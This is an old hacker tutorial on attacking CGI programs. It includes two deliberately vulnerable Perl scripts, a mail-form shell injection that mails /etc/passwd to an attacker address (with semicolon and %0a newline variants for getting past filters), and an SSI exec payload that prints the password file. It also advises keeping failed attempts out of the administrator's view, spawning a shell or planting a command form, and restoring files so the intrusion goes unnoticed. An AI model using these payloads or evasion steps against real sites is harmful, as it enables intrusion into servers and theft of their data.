********************* by Chawmp

* - Hacking CGI - * homepage: http://home.cyberarmy.com/chawmp

* - Version 1.01c - * email: tom@holodeck.f9.co.uk

********************* ICQ: 2724168

 

Introduction

------------

CGI programs are a major source of security holes. On a typical site the server

and config files may be secure, but if CGI programs are not meticulously

checked before they are used then serious security flaws can often be

uncovered.

 

If at any time you are having difficulty, see the Notes section near the bottom

of this document.

 

CGI basics

==========

The letters "CGI" stand for "Common Gateway Interface". CGI is a way to add

flexibility to websites by providing a mechanism for programs to be executed on

the server (sometimes with input from the user on the client-side), and for

their output to be displayed back to the client (or just logged somewhere on

the server for later inspection). These programs can be written in any

language, but by far the most common is perl. Perl is ideal for handling

text-based input easily, so it's the language of choice for many CGI

developers. Usually the term "CGI script" actually refers to "perl script".

 

What makes a CGI program dangerous?

===================================

There are, for example, several places where CGI programs are made available

for free. If you downloaded a set of perl scripts from a site such as this you

would probably expect them to be bug-free and install them without a second

thought. There are also the problems of time and operator competence. Most

people don't have the time or the knowledge to go through a 5000-line bulletin

board script to find that single vulnerable statement. This isn't just limited

to free scripts though. Some very high-profile professional script-packages

have recently been found to be vulnerable to attack.

 

Preparation

===========

If you know what script a site is using and it's freely available, get it! By

examining the code and playing with it on your own system you'll be able to

find holes a lot more easily than by just guessing. And your failed attempts

won't be noticed by the server administrator.

 

Methods of attack

=================

Insecure shell calls

--------------------

This applies to CGI programs written in many languages, but most commonly perl.

If the program does not treat user input carefully there is a risk that a

malicious user may craft it to be processed by the program in a dangerous way.

 

Consider this example. The classic vulnerable "mail" script, for example a

feedback form. A website visitor is asked for comments that will be sent to the

webmaster's email address by a script running on the server.

 

-- vuln1.html - The submission form --

<html>

Thankyou for visiting my site. Please submit your comments and suggestions

here:

<br>

<form action="/cgi-bin/vuln1.pl" method="GET">

<input type="hidden" name="address" value="webmaster@vulnerable.com">

<textarea name="comments" rows=10 cols=40></textarea>

<br>

<input type="submit">

</form>

</html>

-- EOF --

-- vuln1.pl - The vulnerable perl script --

#!/usr/bin/perl

# Output will be an html page

print "Content-type: text/html\n\n";

 

# Get input from form into the @pairs array

@pairs = split(/&/, $ENV{'QUERY_STRING'});

# For each name/value pair in the array

foreach $pair (@pairs) {

# Split the pair into their own variables

($name, $value) = split(/=/, $pair);

# Convert the form-encoding back

$name =~ tr/+/ /;

$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$value =~ tr/+/ /;

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

# Store the destination email address and comments in variables

if ($name eq "address") { # Store the destination email address

$address = $value;

} elsif ($name eq "comments") { # Store the comments

$comments = $value;

}

}

# At this point $address holds the address specified on the form, and

# $comments holds the user's comments.

# --- "Active" part

# See discussion for details of this part

open(MAIL,"| /bin/mail $address");

print MAIL "$comments";

close(MAIL);

# --- End of "active" part

# Print output for the user

print <<EOT;

<html>

Thanks for your comments :)

</html>

EOT

-- EOF --

 

There are two files in the above example. The html file that takes the input

from the user, and the vulnerable perl script. If you don't know perl then you

don't need to try to understand how most of it works. Just know that the

destination email address (as specified by a hidden form element in the html

page) and the comments (from the textarea) are stored, and passed to the mail

program inside the "active" part.

 

In perl the open function is used to open a file, or more importantly here, a

pipe. In this case a pipe to the command "/bin/mail webmaster@vulnerable.com"

is opened and the comments are written to it, causing them to be emailed to the

webmaster.

 

Look at what's happening here. The "/bin/mail webmaster@vulnerable.com" command

is produced by starting /bin/mail with the address specified by the html page.

If a malicious user was to save a copy of the html locally, and modify it by

changing the lines

<form action="/cgi-bin/vuln1.pl" method="GET">

<input type="hidden" name="address" value="webmaster@vulnerable.com">

to these:

<form action="http://www.vulnerable.com/cgi-bin/vuln1.pl" method="GET">

<input type="hidden" name="address" value="hacker@root.com">

 

The action must now contain the complete URL since the html no longer resides

on the server, and the email address has been replaced with your own. Now the

comments will be sent to your email address.

 

Now, what would happen if you were to change the email address part to this?

value="hacker@root.com;mail hacker@root.com < /etc/passwd"

Inside the script this email address would translate to the command

"/bin/mail hacker@root.com;mail hacker@root.com < /etc/passwd"

causing the password file to be mailed to your address :)

 

(Note: I use /etc/passwd in examples throughout this document, but it is only

for example purposes. Nowadays this file has limited value to an intruder as

on modern systems the passwd file will not contain the actual password hashes).

 

If you find that the script filters the ; character, you can always try the

| character, or \n (a newline), as these both cause another command to be

executed in a line. Bear in mind that using | will cause the output of the

first command to be fed into the second (won't usually matter), and that to

send a newline character over the web you must encode it as %0a. So the address

part could now be

value="hacker@root.com%0amail hacker@root.com < /etc/passwd"

Insecure use of SSI

-------------------

SSI means "Server Side Includes". These are instructions that can be placed in

html files that are parsed by the server when the page is requested to give

on-the-fly information. These pages are normally given the extension .shtml (or

some shorter version), but this depends on the setup of the server. On some

servers, all html documents are parsed. All includes take the form

"<!--#"<tag><whitespace><parameters>[<whitespace>]"-->".

Here are some examples:

<!--#echo var="DATE_GMT" --> Prints the current date

<!--#include virtual="/ssi/header.html" --> Includes a common header section

<!--#exec cmd="uptime" --> Displays the system's uptime

 

There's a lot more you can do with SSI - take a look around on the net for

more.

 

If you could add your own SSI to a file that is parsed by the webserver, you

would be able to execute commands, include files, etc. Many CGI programs do not

take this into account. Here's an example:

 

-- vuln2.shtml - A public comments page --

<html>

<!--#include virtual="/ssi/header.html" -->

Thankyou for visiting my site. Please submit your comments and suggestions

here:

<br>

<form action="/cgi-bin/vuln2.pl" method="GET">

<textarea name="comments" rows=10 cols=40></textarea>

<br>

<input type="submit">

</form>

<hr>

Here's what other people have had to say:

<hr>

<!--begin-->

<!--#include virtual="/ssi/footer.html" -->

</html>

-- EOF --

-- vuln2.pl - The vulnerable perl script --

#!/usr/bin/perl

# Define the location of the page to be updated

# Change this to the location of vuln2.shtml if you're trying this out

$pagename = "/home/web/html/vuln2.shtml";

# Print content-type header

print "Content-type: text/html\n\n";

# Get input from form into the @pairs array

@pairs = split(/&/, $ENV{'QUERY_STRING'});

# For each name/value pair in the array

foreach $pair (@pairs) {

# Split the pair into their own variables

($name, $value) = split(/=/, $pair);

# Convert the form-encoding back

$name =~ tr/+/ /;

$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$value =~ tr/+/ /;

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

# Store the comments in a variable

if ($name eq "comments") { # Store the comments

$comments = $value;

}

}

# At this point $comments holds the user's comments.

# Separate each comment in the output file

$comments .= "\n<hr>\n";

# --- "Active" part

# Open the file for read/write

open(FILE,"+<$pagename") || (print("Cannot open file!\n") && exit);

# Lock the file to prevent other processes opening it

flock(FILE, 2);

# Read the file into the @list array

@list = <FILE>;

# Search through the array and insert the comments just before the

# <!--begin--> line

$linenum = 1;

foreach $line (@list) {

if ($line =~ /^<!--begin-->/) {

$linenum--;

splice(@list, $linenum, 0, $comments);

last;

}

$linenum++;

}

# Write the array back to the file

seek(FILE,0,0);

truncate(FILE,0);

foreach $line (@list) {

print FILE $line;

}

# Close the file

close(FILE);

# --- End "active" part

# Print output for the user

print <<EOT;

<html>

Thanks for your comments. Click <a href="/vuln2.shtml">here</a> to

return to the comments page :)

</html>

EOT

-- EOF --

 

These two files comprise a simple guestbook. You can see that the .shtml file

uses SSI to display a common header and footer (using the include directive).

When this file is sent to the browser the include directives will be replaced

by the contents of the appropriate files. Note that the <!--begin--> in the

.shtml file is merely marking where the next comment should be inserted. It

should not be confused with an SSI directive, as these all start <!--#.

 

Since this is such a simple script it doesn't do any input validation. If this

was a normal html page you would be able to insert html, including javascript,

into the page. Because it's SSI-enabled, try entering something like the

following in the comments box:

<!--#exec cmd="cat /etc/passwd" -->

 

Now, when you go back to the comments page you'll see the password file :)

 

(Note: The file will appear to be one long line - this is simply because html

doesn't insert line breaks at newlines. Use your browser's "view source"

function to get a more readable output).

 

This is ideal. However, some server admins disable the exec directive to

prevent this type of attack. In this case the best you can do is use the

include directive to include the contents of a file whose location you know,

such as a password database file that is not available via the web with your

current access rights, but still within the web root. Note that some files

(such as CGI scripts) will not have their source included by using an include

directive. From an intruder's point of view, the include directive has limited

value, and without exec there isn't always much you can do.

 

Buffer overflow

---------------

This applies to CGI programs written in languages such as C. If the program

does not validate its input properly a malicious user could overflow a buffer

in the program to execute arbitrary code on the server. Since buffer overflows

are beyond the scope of this article I won't go into any more detail, but

information on this kind of attack is available to anyone who searches for it.

A good article to read to get started with buffer overflows is "Smashing The

Stack For Fun And Profit" in Phrack 49. Look it up. :)

 

What to do once you're in

=========================

First of all, don't pull an rm -Rf / . If you take note of anything I say, it

should be that damaging sites is lame. Other than that, you have to make the

decision whether what you're about to do is reasonable or not. Remember, unless

you know what you're doing (which you probably don't since you're reading this)

and you try anything stupid you'll get caught. One thing you might want to do

is report the vulnerability. Mail the server admin and let them know - if

they're a reasonable person they'll fix the hole, and you'll make a new friend

:) If the hole is in a widely-distributed CGI program, report it to the

creators so that it can be fixed for future versions, and current users can be

warned.

 

Presumably you're trying to break into the site for a reason - to get access to

files, etc. Do what you want and come back out. And if you don't want to get

noticed, clean up after yourself. In the above example, instead of just causing

the password file (assuming it was your target file) in the page for everyone

to see, you could write a bit of perl code to spawn a shell on the server, or

provide a form interface in another file for easy access to further commands.

After setting up something like this, try to put the original file back the way

you found it, and chances are you won't get noticed for longer.

 

Notes

=====

In this document I use UNIX-style path and filenames. Most of the ideas I've

discussed here work exactly the same under NT and other platforms, it's just

that I wrote these examples on a Linux system.

 

When you execute commands on the system, you do so with the rights of the user/

group the webserver runs as, which is usually nobody/nobody. This is enough

access for complete control over the files the webserver uses though.

 

I use perl scripts here for example purposes. If you don't know perl you only

really need to pay attention to the sections marked '"active" part', as these

are the sections that contain the vulnerable code.

 

If you're testing these files out for yourself, make sure you set the

file/pathnames correctly, and remember to chmod your cgi scripts 755 so that

they are executable, and that you have specified the correct path to perl on

your system in the first line of each script. Also, in the SSI example, you

will need to chmod vuln2.shtml 777 since that file gets written to by the

script.

 

These scripts are just simple examples. Sometimes you have to do a little more

work than this to get around filters, etc, but often it is possible.

Experiment.

 

For more info email or ICQ me (details at the top), or drop by my website to

see if this file has been updated.

 

Further information

===================

There are a few articles out there. p41mit0 recommended this one:

http://www.phreedom.org/en/issues/Phm23%20-%20Jordan%20Dimov%20-%20Security%20

Issues%20in%20Perl%20Scripts.txt (That's one long URL by the way).

 

Greets

======

Everyone in the CyberArmy - there are too many to mention :)

http://www.cyberarmy.com/zebulun - Come try our officers' challenge

 

EOF